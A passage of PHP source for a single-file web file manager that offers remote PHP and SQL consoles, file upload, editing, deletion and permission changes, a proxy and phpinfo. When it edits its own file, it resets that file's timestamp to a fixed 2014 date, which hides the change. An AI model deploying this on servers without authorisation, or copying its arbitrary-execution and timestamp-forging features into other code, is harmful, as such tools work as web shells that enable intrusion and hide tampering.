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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
